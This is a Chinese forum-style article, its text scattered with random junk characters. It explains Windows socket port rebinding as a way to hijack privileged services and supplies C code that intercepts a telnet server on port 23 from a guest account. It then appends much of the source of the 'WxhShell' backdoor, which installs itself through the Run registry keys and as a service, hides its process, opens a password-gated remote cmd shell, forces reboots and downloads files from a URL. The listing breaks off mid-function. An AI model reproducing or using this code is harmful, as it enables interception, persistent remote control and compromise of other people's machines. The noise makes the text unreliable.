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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S`0(*A[W* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -;m0R q,|j]+9q saddr.sin_family = AF_INET; l<LI7Z]A 6SkaH<-&K saddr.sin_addr.s_addr = htonl(INADDR_ANY); d.d/< JIOR4' 9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $ @`V .j0$J\:i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aP+X}r Be2DN5) 这意味着什么?意味着可以进行如下的攻击: [D4SW# "$^ ~!1~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WlC:l u cW-I;" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *fS"ym@ 3$>1FoSk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VU]`&`~J |N 7M^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 N
+_t-5 c9u`!'g`i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 | rtD.,m oIzj,v8$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~Otoqu| mnX2a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:KP@RZm giw &&l=_ #include hRCJv#]HC #include 051E6- #include "_NN3lD)X #include oQVgyj. DWORD WINAPI ClientThread(LPVOID lpParam); : bq8N@P/ int main() Hd ={CFip { A[{yCn`tM WORD wVersionRequested; ,Ah;A[%?~ DWORD ret; {Gk1vcq WSADATA wsaData; ZG8DIV\D7 BOOL val; 7#Kn8s
SOCKADDR_IN saddr; /{n-Y/jp SOCKADDR_IN scaddr; eJX9_6m- int err; )g%d:xI SOCKET s; zL0pw'4 SOCKET sc; {ROVvs` int caddsize; i3mcx)d@H HANDLE mt; SRDp* DWORD tid; p%=u#QNi wVersionRequested = MAKEWORD( 2, 2 ); )}Kf= err = WSAStartup( wVersionRequested, &wsaData ); Js?]$V" if ( err != 0 ) { s-Tv8goNV printf("error!WSAStartup failed!\n"); ={&j07,*a return -1; H40p86@M } XK@E;Rv saddr.sin_family = AF_INET; 5e^ChK0Q D'DfJwA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v^*K:#<Q!
>Abdd saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <<5(0#y# saddr.sin_port = htons(23); !?h;wR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^k">A:E2 { #h
]g?*}OJ printf("error!socket failed!\n"); ?1
4{J]H4 return -1; K
Z91- } n 0L^e val = TRUE; c-6?2\]j@ //SO_REUSEADDR选项就是可以实现端口重绑定的 =X:Y,? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E*K;H8}s { )F]]m#` printf("error!setsockopt failed!\n"); zHRplm+i return -1; +\
.Lp 5 } jm/`iXnMf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CkQ3#L <2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _)m]_eS._ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0 /U{p,r6` K is"L(C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6O! 2P { i<Zc"v; ret=GetLastError(); VjZ|$k printf("error!bind failed!\n"); Qpc__dA\ return -1; Q/0Tj]D } 7;wd(8 listen(s,2); `|&O*` while(1) B[?Ng}<g` { A$0fKko caddsize = sizeof(scaddr); Pu$Tk| //接受连接请求 ;85>xHK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FWgpnI\X|{ if(sc!=INVALID_SOCKET) /@TF5]Ri { je=a/Y=%U{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yYA$I'Bm\ if(mt==NULL) BpPy& { yl+gL?IES printf("Thread Creat Failed!\n"); h
J)h\ break; y _k
l:Ssa } $DaNbLV } r52gn(, CloseHandle(mt); 6mxfLlZ } ; )@~ closesocket(s); _F|Ek ;y% WSACleanup(); }N6.Uu5zI return 0; `7V]y- } 56kI
5: DWORD WINAPI ClientThread(LPVOID lpParam) [5Mr@f4I { ~U&AI1t+J SOCKET ss = (SOCKET)lpParam; [?N~s:} SOCKET sc; Cjlk unsigned char buf[4096]; ar+9\ SOCKADDR_IN saddr; x7<K<k;s long num; 0)Wltw~`& DWORD val; @Z:l62l=bE DWORD ret; 6A+nS= //如果是隐藏端口应用的话,可以在此处加一些判断 mtcw#D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 T!)(Dv8@F saddr.sin_family = AF_INET; MeZf*'
J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F0Yd@Lk$_ saddr.sin_port = htons(23); dJNe+
MB` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n<R?ffy { "'?>fe\qG printf("error!socket failed!\n"); ^9:Z7 >Z return -1; 59;KQ } wgGl[_) val = 100; Y\g3hM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pG;U2wE { \bvfEP ret = GetLastError(); &E5g3lf return -1; t&e{_|i#+ } }a(dyr`S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <bEbweQrgm { m
GYoM ret = GetLastError(); k!'a,R: return -1; ,/|T-Ka } 5M*:}* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R.yvjPwJ { V+9 MoT?8 printf("error!socket connect failed!\n"); JYHl,HH#z closesocket(sc); SSMHoJGm closesocket(ss); J)p
l|I return -1; @_}P-h } r$s Qf&= while(1) ;vjOUn[E { V1B5w_^>h' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p9{mS7R9T //如果是嗅探内容的话,可以再此处进行内容分析和记录 )MTOU47U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 89(Q1R ?: num = recv(ss,buf,4096,0); &\*(Q*2N if(num>0) d5:c^` send(sc,buf,num,0); j*r{2f4Rt else if(num==0) m^;f(IK5 break; nUOz\y num = recv(sc,buf,4096,0); xdkZdx>N if(num>0) T{[=oH+ send(ss,buf,num,0); WCixKYq else if(num==0) g{&ui.ml& break; Yr[\|$H5 } D2~*&'4y closesocket(ss); XVZ closesocket(sc); amY!qg0P* return 0 ; {&1/V } 6i3$C W gp.^~p]x ?m"( Soh ========================================================== sD#.Oq4&]y ,r\o}E2 下边附上一个代码,,WXhSHELL 49HZ2`Y 9CD_os\h ========================================================== H$UcF1k< ~2-1 j #include "stdafx.h" *VT/ 1/J=uH #include <stdio.h> 9~[Y-cpoi #include <string.h> I9ep`X6Y #include <windows.h> &gx%b*;`L0 #include <winsock2.h> Qq|57X)P* #include <winsvc.h> f(MO_Sj] #include <urlmon.h> @|YH|/RF JT_ `.( #pragma comment (lib, "Ws2_32.lib") BLD gt~h# #pragma comment (lib, "urlmon.lib") r mg}N 7J<5f) #define MAX_USER 100 // 最大客户端连接数 QhJiB%M #define BUF_SOCK 200 // sock buffer 8v%o," #define KEY_BUFF 255 // 输入 buffer &^Q/,H~S c\AfaK^KF #define REBOOT 0 // 重启 ;u)I\3`*! #define SHUTDOWN 1 // 关机 $*fMR,~t& |@4' <4t #define DEF_PORT 5000 // 监听端口
7hPY_W
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}$i? #define REG_LEN 16 // 注册表键长度 v`1M[ #define SVC_LEN 80 // NT服务名长度 1p=]hC xU`p|(SS- // 从dll定义API H9e<v4c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &
>fQp(f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _.8S& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1]b.fD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ds:'Lb rFL;'Cj@ // wxhshell配置信息 P/_['7 struct WSCFG { j&qub_j"xX int ws_port; // 监听端口 brUF6rQ char ws_passstr[REG_LEN]; // 口令 ?&1!vz int ws_autoins; // 安装标记, 1=yes 0=no II,8O char ws_regname[REG_LEN]; // 注册表键名 Qzw;i8n{ char ws_svcname[REG_LEN]; // 服务名 /mzlH char ws_svcdisp[SVC_LEN]; // 服务显示名 NTs aW}g char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z(CkZll char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "=Me M)K int ws_downexe; // 下载执行标记, 1=yes 0=no e$rZ5X char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" b d!Y\OD char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t"oeQ*d% I-l_TpM) }; X=&KayD hp|YE'uYT // default Wxhshell configuration I%KYtv~` struct WSCFG wscfg={DEF_PORT, e+fN6v5pU "xuhuanlingzhe", NK
H@+,+V 1, C$`tbq "Wxhshell", ysY*k` 5 "Wxhshell", /N.U/MPL_ "WxhShell Service", 5`p.#
"Wrsky Windows CmdShell Service", uoh7Sz5!^ "Please Input Your Password: ", ]:J$w]\ 1, }Jj}%XxKs " http://www.wrsky.com/wxhshell.exe", nAlQ7' "Wxhshell.exe" +mT_QsLEv }; |+D!=
:x KoT%Mfu // 消息定义模块 FfT`;j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wmv#:U char *msg_ws_prompt="\n\r? for help\n\r#>"; SXP]%{@R/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; am6L8N char *msg_ws_ext="\n\rExit."; iDqoa\ char *msg_ws_end="\n\rQuit."; U| R_OLWAg char *msg_ws_boot="\n\rReboot..."; S{T >}'y char *msg_ws_poff="\n\rShutdown..."; 67FWa char *msg_ws_down="\n\rSave to "; ,r_Gf5c )zDCu` char *msg_ws_err="\n\rErr!"; 4;2uW#dG" char *msg_ws_ok="\n\rOK!"; FGBbO\</ Yrq~5)% char ExeFile[MAX_PATH]; PLBrP int nUser = 0; O*P.]d HANDLE handles[MAX_USER]; 5*u+q2\F int OsIsNt; =>~:<X., E|shs=I SERVICE_STATUS serviceStatus; SNk=b6`9 SERVICE_STATUS_HANDLE hServiceStatusHandle; ysnx3(+| U-k`s[dv // 函数声明 vKAN@HSYr int Install(void); K_}K@' int Uninstall(void); >Y@H4LF;1x int DownloadFile(char *sURL, SOCKET wsh); M x"\5i int Boot(int flag); z},# ~L6$q void HideProc(void); jq0O22
-R int GetOsVer(void); ^E>3|du]O int Wxhshell(SOCKET wsl); Q\sK"~@3 void TalkWithClient(void *cs); ]JQULE) int CmdShell(SOCKET sock); $U-0)4yf int StartFromService(void); vo{--+{ky! int StartWxhshell(LPSTR lpCmdLine); !&@615Vtw 4 s9LB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t\O16O7S VOID WINAPI NTServiceHandler( DWORD fdwControl ); !^G\9"4A lNO;O}8 // 数据结构和表定义 C~exi[3 SERVICE_TABLE_ENTRY DispatchTable[] = rEz^ { :NTO03F7v {wscfg.ws_svcname, NTServiceMain}, p!AAFmc {NULL, NULL} JC}D`h }; (+hK%}K> KD.]i' d< // 自我安装 XW92gI<O int Install(void) 9H1rO8k { +:/%3}` char svExeFile[MAX_PATH]; ?:eV%`7 HKEY key; ;5( UzQU strcpy(svExeFile,ExeFile); DzRFMYBR pT6$DB# // 如果是win9x系统,修改注册表设为自启动 =($xG#g` if(!OsIsNt) { ,|/f`Pl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X2'0PXv>! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %iqD5x$OA RegCloseKey(key); Q22 GIr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +&H4m=D-#a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K3l95he RegCloseKey(key); ` 5>b:3 return 0; sV*H`N')S } hOK8(U0 } ChQxa } Lu%b9Jk else { G=bCNn< [()koU#w. // 如果是NT以上系统,安装为系统服务 I)HPO,7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3=V&K- if (schSCManager!=0) 'dc#F3 { 1Ai^cf:S SC_HANDLE schService = CreateService e]$s
t? ( o^wqFX(Y schSCManager, X2"/%!65{ wscfg.ws_svcname, >/6 _ ^ wscfg.ws_svcdisp, {id4:^u&; SERVICE_ALL_ACCESS, u)Whr@m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8H`[*|{' SERVICE_AUTO_START, GTxk%
SERVICE_ERROR_NORMAL, MiX 43Pk] svExeFile, 4Wp=y NULL, ;mi%F3 NULL, *qpSXmOz NULL, M )(DZ} NULL, Z4bNV?OH NULL LFV%&y|L ); +
>!;i6| if (schService!=0) b\,+f n { y8xE
6i CloseServiceHandle(schService); wb ;xRP"w CloseServiceHandle(schSCManager); qmP].sA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]eV8b*d6 strcat(svExeFile,wscfg.ws_svcname); m(P]k'ZH? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -D:b*D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1{.9uw"2S RegCloseKey(key); X5w$4Kj&4l return 0; JlJ a
# } ksm~<;td } ,`sv1xwd CloseServiceHandle(schSCManager); I(
Mm?9F } K@%].: } zKK9r~ M HK%7g return 1; l%=; } MpOc ez[Vm:2K // 自我卸载 4mbBmQV$# int Uninstall(void) u$`a7Lp,n { lk =<A"^S HKEY key; !PE]C!*gv& EiaW1Cs if(!OsIsNt) { wdoR%b{M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qxJ\ye+'* RegDeleteValue(key,wscfg.ws_regname); .X;K%J2 RegCloseKey(key); "uf%iJ:% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *=xr-!MEk RegDeleteValue(key,wscfg.ws_regname); _','9| RegCloseKey(key); 4 H&#q> return 0; #s9aI_ } <{cQ2 } CNx8]
_2 } BL4-7 else { -7|H}!DFT $Z>'Jp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o;RI*I if (schSCManager!=0) .eC1qWZJpd { UL9n-M= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :fJN->wY^s if (schService!=0) /Gfw8g\} { q0\6F^;M if(DeleteService(schService)!=0) { Zgb!E]V[ CloseServiceHandle(schService); N)Z?Z+}h CloseServiceHandle(schSCManager); L4l!96]a return 0; #|``ca54B } aQI(Y^&%3 CloseServiceHandle(schService); wS3'?PRX } a09<!0Rp CloseServiceHandle(schSCManager); y~HP>~Oh } =?`c=z3~i$ } q75s#[<ap 9o!Bzy+_ return 1; |gY^)9ei } wUM0M?_p[ ,"0:3+(8; // 从指定url下载文件 Q=dy<kg'] int DownloadFile(char *sURL, SOCKET wsh) _Bj":rzY { wI "U7vr HRESULT hr; yaV|AB$v char seps[]= "/"; {(?4!rh char *token; pmYHUj
# char *file; ?|Zx!z ($ char myURL[MAX_PATH]; `~q <N char myFILE[MAX_PATH]; Yu2Bkq+ ht}wEvv strcpy(myURL,sURL); jZrq{Z< token=strtok(myURL,seps); Eu04e N while(token!=NULL) seeBS/% { ~4cC/"q$X file=token; {H'Y `+ token=strtok(NULL,seps); ?=pT7M } Yc*;/T} K\c#ig GetCurrentDirectory(MAX_PATH,myFILE); BTrn0 strcat(myFILE, "\\"); ;i+#fQO7Q strcat(myFILE, file); 8DaL,bi*. send(wsh,myFILE,strlen(myFILE),0); aC)!T send(wsh,"...",3,0); 8, >P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u\nh[1)a) if(hr==S_OK) <1M-Ro?5k return 0; ;t`&n['N> else U:_^#\p return 1; j"Pv0tehw h@@=M } Jxm.cC5z. NQ2E // 系统电源模块 D.XvG _ int Boot(int flag) $ L]lHji { 7Hu3>4< HANDLE hToken; P7/X|M z TOKEN_PRIVILEGES tkp; FaJ &GOM, W
`}Rf\g if(OsIsNt) { E-g_".agO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `*KHSA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jRV/A!4 tkp.PrivilegeCount = 1; v|2T%y_
u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N ZSSg2TX# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =w0R$&b& if(flag==REBOOT) { :*\P n!r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bA->{OPkT return 0; 45>?o } Yg1X else { !g2+w$YVa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sD wqH.L return 0; lHX72s|V } 8}UIbF } b|W=pSTY else { $E.I84UfX if(flag==REBOOT) { I,8Er2;) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) czd~8WgOa return 0; u;c?d!E } \)|hogI|f else { !C:$?oU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5XBH$&Td return 0; =C.$
UX } `W*U4?M } _5N]B|cO N?"] return 1; @sC`!Rmy'- } kPLxEwl W6/yn // win9x进程隐藏模块 D>tR- void HideProc(void) ^DwYOo 2B { p.?rey<% LSr]S79N1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~R92cH>L if ( hKernel != NULL ) 0:Ol7 { 3'u-' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [u*5z.^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .0]<k,JZZ FreeLibrary(hKernel); "a U
aotx } Y/zj[> W:L
AP
R return; WI-1)1t } '1s0D] 6V01F8&w // 获取操作系统版本 YcpoL@ab int GetOsVer(void) ;;N9>M?b { OpYY{f OSVERSIONINFO winfo; j eP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g7W" GetVersionEx(&winfo); |8tilOqI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `RL"AH:+ return 1; hx]?&zT@ else N[
Og43Y return 0; A2jUmK.& } q5)O%l ! ut7zVp<" // 客户端句柄模块 PxDh7{ int Wxhshell(SOCKET wsl) ]3.;PWa: { x+@rg];m SOCKET wsh; N5b!.B x-w struct sockaddr_in client; HCC#j9UN6 DWORD myID; iqQD{SRt{ v #j$; while(nUser<MAX_USER) &FN.:_E { ckE-",G int nSize=sizeof(client); ?+}_1x` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rCdu0 gYT if(wsh==INVALID_SOCKET) return 1; b2&0Hx vnZC,J ` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [:SWi1cK2 if(handles[nUser]==0) `&c kZiq closesocket(wsh); ]|PiF+ else _^%,x nUser++; (M.&^w;`, } ^ sLdAC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cd}<a?m, 'kO!^6=4M return 0; lp%pbx43s } .jjG(L ~%kkeh\j // 关闭 socket P:MT*ra*, void CloseIt(SOCKET wsh) t=W}SH { mSl.mi(JiZ closesocket(wsh); K^<BW(s nUser--; +}os&[S ExitThread(0); UhQj
Qaa~ } UJ')I`zuI ?QdWrE_
// 客户端请求句柄 PP33i@G void TalkWithClient(void *cs) @YTaSz$L { 9 X`Sm}i a'yK~;+_9 SOCKET wsh=(SOCKET)cs; SbrecZ char pwd[SVC_LEN]; )W
_v:?A9 char cmd[KEY_BUFF]; 3K0A)W/YEs char chr[1]; dn$!& int i,j; #( 146 ra
g Xn while (nUser < MAX_USER) { O`t&ldU fdi\hg^x if(wscfg.ws_passstr) { ,w:U#r~s" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sLT3Y}IO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !9VY|&fHe //ZeroMemory(pwd,KEY_BUFF); -3Z,EaG^ i=0; O23k:=Av while(i<SVC_LEN) { q Y?j#fzi O^duZ*b // 设置超时 e)?
.r9pA; fd_set FdRead; =|y9UlsD struct timeval TimeOut; ,Ae6/D$h/ FD_ZERO(&FdRead); ytJ/g/,A0i FD_SET(wsh,&FdRead); xHLlMn4M TimeOut.tv_sec=8; r1{@Ucw2 TimeOut.tv_usec=0; ">,|V-H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ag;pN*z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oDA XiY$u g(7rTyp4) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?ri?GmI| pwd =chr[0]; 9Uekvs=r=M if(chr[0]==0xd || chr[0]==0xa) { !")tU+: pwd=0; h_3E)jc break; Nkth>7* } W/bQd)Jvk i++; Ee%%d } `MN4uC ,77d(bR< // 如果是非法用户,关闭 socket _FU_Ubkr if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $AjHbU.I{ } o&)8o5 ?(F6#"/E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <7Or{:Sc90 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cO+qs[
BQ k&vz7Q`T while(1) { 2,b(,3{`4: BLf>_bUk ZeroMemory(cmd,KEY_BUFF); DGn;m\B ;~ $'2f~U // 自动支持客户端 telnet标准 tOd&!HYL j=0; m6\E$;` while(j<KEY_BUFF) { +RM SA^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +YKi, cmd[j]=chr[0]; hPkWCoQpq if(chr[0]==0xa || chr[0]==0xd) { A,Vu\3HS cmd[j]=0; ^Hnb}L break; CMG&7(MR }
#3@rS j++; g-</ua(j } DIfaVo/" ^]0Pfna+N // 下载文件 6"5A%{J if(strstr(cmd,"http://")) { p\tm:QWD; send(wsh,msg_ws_down,strlen(msg_ws_down),0); kY|utoAP if(DownloadFile(cmd,wsh)) H.|#c^I send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Ag16 else FF(#]vz ' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %G/hD } /hH else { lH x^D;m6 Kp~VS<3 switch(cmd[0]) { SpLzm A rv^@, 8vq // 帮助 n&;85IF1 case '?': { TA`1U;c{n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~"&|W'he[ break; (ybI\UI } WwBOM~/`2 // 安装 ;!mzyb* case 'i': { L:pYn_ if(Install()) ]7F=u!/`<C send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ng2@z<>. else %Ycy{` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qn<|-hA* break; $%CF8\0 } +\c5]` // 卸载 k}kQI~S9 case 'r': { +mmSfuO&\ if(Uninstall()) 3G)#5Lf< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7uS~MW else 0w\zLU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|~A#kq break; vMi;+6'n> } Jr
,;>
// 显示 wxhshell 所在路径 ug!s7fo^ case 'p': { nwB_8mN| char svExeFile[MAX_PATH]; QT<
}]
0 strcpy(svExeFile,"\n\r"); u<6<iD3y strcat(svExeFile,ExeFile); J!v3i*j\ send(wsh,svExeFile,strlen(svExeFile),0); iwZPpl"; break; F3v!AvA| } 1EO7H{E= // 重启 |mdVdD~go case 'b': {
nzuX&bSw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _"Dv
uR if(Boot(REBOOT)) 7a=gH2]& send(wsh,msg_ws_err,strlen(msg_ws_err),0); */)c?)" else { o/$} closesocket(wsh); * J7DY f ExitThread(0); L
O_k@3 } SO|NaqWa break; [fya)} } @Q
]=\N: // 关机 yYIf5S`V] case 'd': { zU kgG61 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dUeN*Nq&(, if(Boot(SHUTDOWN)) BOb">6C send(wsh,msg_ws_err,strlen(msg_ws_err),0); JgKO|VO else { axv>6k closesocket(wsh); ENl)Ts`y ExitThread(0); JIEK*ui } uB]7G0g: break; $<dH?%!7 } ;v)JnbsH} // 获取shell ld|5TN1 case 's': { G6q
}o)[m) CmdShell(wsh); fnjPSts0 closesocket(wsh); F 5bj=mI ExitThread(0); F'={q{2wH break; 6@h/*WElG } \%JgH=@
:= // 退出 M)J5;^[" case 'x': { 9-VNp;V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -j#2}[J7 CloseIt(wsh); _UMg[Um break; 8\@m
- E!{ } :}L[sl\R // 离开 U8s2|G;K case 'q': { 3Gp$a;g send(wsh,msg_ws_end,strlen(msg_ws_end),0); '1P2$# closesocket(wsh); ?Ny9'g>? WSACleanup(); 9N#_(uwt exit(1); a+[KI break; G}9Jg } ~WeM TXF>y } I*:%ni2 } !1jBC.G1 $u$!tj // 提示信息 .LPV#& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :)-Sk$ } 1E[J%Rh\l } ,uSMQS-O'4 9Z@hPX3. return; Gvt G(u~ } O40?{v' lK?uXr7^ // shell模块句柄 LiC*@W int CmdShell(SOCKET sock) YiXk5B0Uh { 2RVN\?s: STARTUPINFO si; 7X`g,b! ZeroMemory(&si,sizeof(si)); m4[ ;(1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*R])=F@c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YquI $PV _ PROCESS_INFORMATION ProcessInfo; 'Cb6Y#6 char cmdline[]="cmd"; uanhr)Ys CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8l>?Pv return 0; 6C1#/ } J|W<; 1jmjg~W // 自身启动模式 JK7G/]j+Ez int StartFromService(void) EKYY6S2 { P>y@kPi typedef struct :(E@Gf { 5N#aXG^9 DWORD ExitStatus; A]_7}<<N DWORD PebBaseAddress; pQyK={7?` DWORD AffinityMask; 2jA {SY- DWORD BasePriority; 5c@,bIl * ULONG UniqueProcessId; >2Y=*K,: ULONG InheritedFromUniqueProcessId; ]{;gw<T } PROCESS_BASIC_INFORMATION; ^rB8? kt ]}>2D,; PROCNTQSIP NtQueryInformationProcess; 6B8VfQ9[ z 4e7PW| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Pyj%4Rs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gT6z9 J@/kIrx HANDLE hProcess; [7:,?$tC PROCESS_BASIC_INFORMATION pbi; CQc+#nRe o3XvRj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @JiLgIe` if(NULL == hInst ) return 0; 0.Q
